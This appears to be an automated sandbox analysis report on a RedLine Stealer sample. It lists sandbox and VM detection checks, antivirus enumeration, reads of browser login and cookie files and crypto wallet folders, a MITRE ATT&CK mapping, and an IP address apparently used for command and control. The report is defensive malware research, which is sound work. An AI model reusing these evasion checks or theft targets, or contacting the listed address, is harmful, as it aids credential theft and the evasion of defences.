Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Query firmware table information (likely to detect VMs)

Show sources

Source: C:\Users\user\Desktop\84Xhvb840M.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Show sources

Source: C:\Users\user\Desktop\84Xhvb840M.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Jump to behavior

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\84Xhvb840M.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Show sources

Source: C:\Users\user\Desktop\84Xhvb840M.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Users\user\Desktop\84Xhvb840M.exe TID: 7048

Thread sleep time: -17524406870024063s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\84Xhvb840M.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\84Xhvb840M.exe

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\Desktop\84Xhvb840M.exe	Window / User API: threadDelayed 3438			Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Window / User API: threadDelayed 5015			Jump to behavior

Source: C:\Users\user\Desktop\84Xhvb840M.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\84Xhvb840M.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\84Xhvb840M.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\84Xhvb840M.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: 84Xhvb840M.exe, 00000000.00000002.336671168.0000000000BA8000.00000004.00000020.sdmp	Binary or memory string: VMware
Source: 84Xhvb840M.exe, 00000000.00000002.336671168.0000000000BA8000.00000004.00000020.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareASLLHAK1Win32_VideoControllerK1R9HZP8VideoController120060621000000.000000-00068653715display.infMSBDA1LXNHEFMPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colorsWOCTLCD9
Source: 84Xhvb840M.exe, 00000000.00000002.336599037.0000000000AFA000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllb

Source: C:\Users\user\Desktop\84Xhvb840M.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\84Xhvb840M.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\84Xhvb840M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\84Xhvb840M.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\84Xhvb840M.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\84Xhvb840M.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\84Xhvb840M.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\84Xhvb840M.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\84Xhvb840M.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\84Xhvb840M.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Source: 84Xhvb840M.exe, 00000000.00000003.321239094.0000000000BA8000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.336671168.0000000000BA8000.00000004.00000020.sdmp, 84Xhvb840M.exe, 00000000.00000003.329258803.0000000000BBF000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000003.318786310.0000000000BBC000.00000004.00000001.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: 84Xhvb840M.exe, 00000000.00000002.336671168.0000000000BA8000.00000004.00000020.sdmp, 84Xhvb840M.exe, 00000000.00000003.329258803.0000000000BBF000.00000004.00000001.sdmp	Binary or memory string: ramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 0.2.84Xhvb840M.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.273844894.00000000035F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.335990015.0000000000402000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 84Xhvb840M.exe PID: 7120, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Tries to steal Crypto Currency Wallets

Show sources

Source: C:\Users\user\Desktop\84Xhvb840M.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\			Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\84Xhvb840M.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\84Xhvb840M.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 0.2.84Xhvb840M.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.273844894.00000000035F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.335990015.0000000000402000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 84Xhvb840M.exe PID: 7120, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation221	Path Interception	Path Interception	Masquerading1	OS Credential Dumping1	Security Software Discovery441	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	Input Capture1	Process Discovery11	Remote Desktop Protocol	Archive Collected Data11	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion341	Security Account Manager	Virtualization/Sandbox Evasion341	SMB/Windows Admin Shares	Data from Local System2	Automated Exfiltration	Ingress Tool Transfer3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Deobfuscate/Decode Files or Information1	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information2	LSA Secrets	System Information Discovery123	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol2	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Software Packing32	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
84Xhvb840M.exe	34%	Virustotal		Browse
84Xhvb840M.exe	38%	Metadefender		Browse
84Xhvb840M.exe	79%	ReversingLabs	Win32.Trojan.AgentTesla
84Xhvb840M.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.0.84Xhvb840M.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1141824		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15V	0%	Avira URL Cloud	safe
http://ns.adobe.c/g	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5	0%	URL Reputation	safe
http://tempuri.org/Entity/Id4	0%	URL Reputation	safe
http://tempuri.org/Entity/Id7	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id20	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21	0%	URL Reputation	safe
http://tempuri.org/Entity/Id22	0%	URL Reputation	safe
http://tempuri.org/Entity/Id23	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id1Response	0%	URL Reputation	safe
http://94.250.250.30	0%	Virustotal		Browse
http://94.250.250.30	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id10	0%	URL Reputation	safe
http://tempuri.org/Entity/Id11	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13	0%	URL Reputation	safe
http://tempuri.org/Entity/Id14	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16	0%	URL Reputation	safe
http://tempuri.org/Entity/Id17	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id23Response	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/chrome_newtab	84Xhvb840M.exe, 00000000.00000002.342367539.00000000049A8000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341952023.0000000004937000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
https://duckduckgo.com/ac/?q=	84Xhvb840M.exe, 00000000.00000002.342367539.00000000049A8000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341952023.0000000004937000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id12Response	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id15V	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://ns.adobe.c/g	84Xhvb840M.exe, 00000000.00000003.335639728.0000000000D4C000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.336765168.0000000000D4D000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id21Response	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id9	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id8	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id4	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id7	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id6	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id19Response	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id15Response	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id6Response	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
https://api.ip.sb/ip	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/sc	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id9Response	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	84Xhvb840M.exe, 00000000.00000002.342367539.00000000049A8000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341952023.0000000004937000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id20	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id21	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id22	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id23	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id24	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id24Response	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id1Response	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/fault$	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://94.250.250.30	84Xhvb840M.exe, 00000000.00000002.341578250.0000000003DC2000.00000004.00000001.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id10	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id11	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id12	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16Response	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp, 84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel	84Xhvb840M.exe, 00000000.00000002.341110308.0000000003980000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id13	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id14	84Xhvb840M.exe, 00000000.00000002.341049588.00000000038E1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
